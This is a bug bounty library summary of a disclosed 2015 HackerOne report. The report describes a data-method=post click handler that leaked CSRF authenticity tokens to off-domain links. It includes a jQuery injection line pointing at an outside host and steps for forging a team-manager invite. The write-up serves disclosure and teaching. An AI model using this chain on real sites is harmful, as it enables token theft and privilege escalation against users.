# CSP Bypass: Click handler for links with data-method="post" can cause authenticity_token to be sent off domain

HackerOne's data-method=post click handler sent the CSRF authenticity_token to any href origin, letting an attacker who could inject HTML steal the token and forge privileged POSTs.

- Payout: $2,000
- Severity: medium
- Program: HackerOne
- Credited: danlec
- Disclosed: 2015-02-26
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/47472
- Library page: https://bugbountylibrary.com/r/h1%3A47472
- Tags: domain:web impact:ato impact:privesc kind:bounty platform:hackerone sev:medium tech:rest technique:chained vuln:csrf vuln:info-disclosure

**Target:** web app link click handler with data-method attribute
**Root cause:** The click handler for `<a data-method="post">` submitted a POST with the authenticity_token to the link's href without validating that the target origin matched the current origin.
**Steps:**
1. Inject HTML into a report (simulated via console: `$(".hacktivity-container-content:first").html('<p><a href="http://danlec.com" data-method="post">Click Me!</a></p>')`)
2. Victim clicks the link; the handler POSTs the authenticity_token to the attacker-controlled href (e.g. `http://httpbin.org/post` echoes headers)
3. Attacker uses the leaked token to auto-submit a form to `https://hackerone.com/<team>/team_members` adding `attacker@gmail.com` as manager
**How found:** Noticed the data-method click handler sends the authenticity_token to the href regardless of origin, and reasoned that combined with an HTML injection primitive it leaks the CSRF token cross-origin.
**Exploitation:** Requires an HTML injection primitive (like report #46072). Attacker plants a data-method=post link to their domain; on victim click the CSRF token is POSTed off-domain, then attacker replays it in a forged form to invite themselves as team manager.
**Escalation:** Token theft converts an HTML-injection into full CSRF/privilege escalation (adding attacker as team manager).
**Insight:** Audit JS click/submit handlers that attach CSRF tokens to requests: check whether they validate the target origin before sending the token, since any HTML injection then becomes token exfiltration.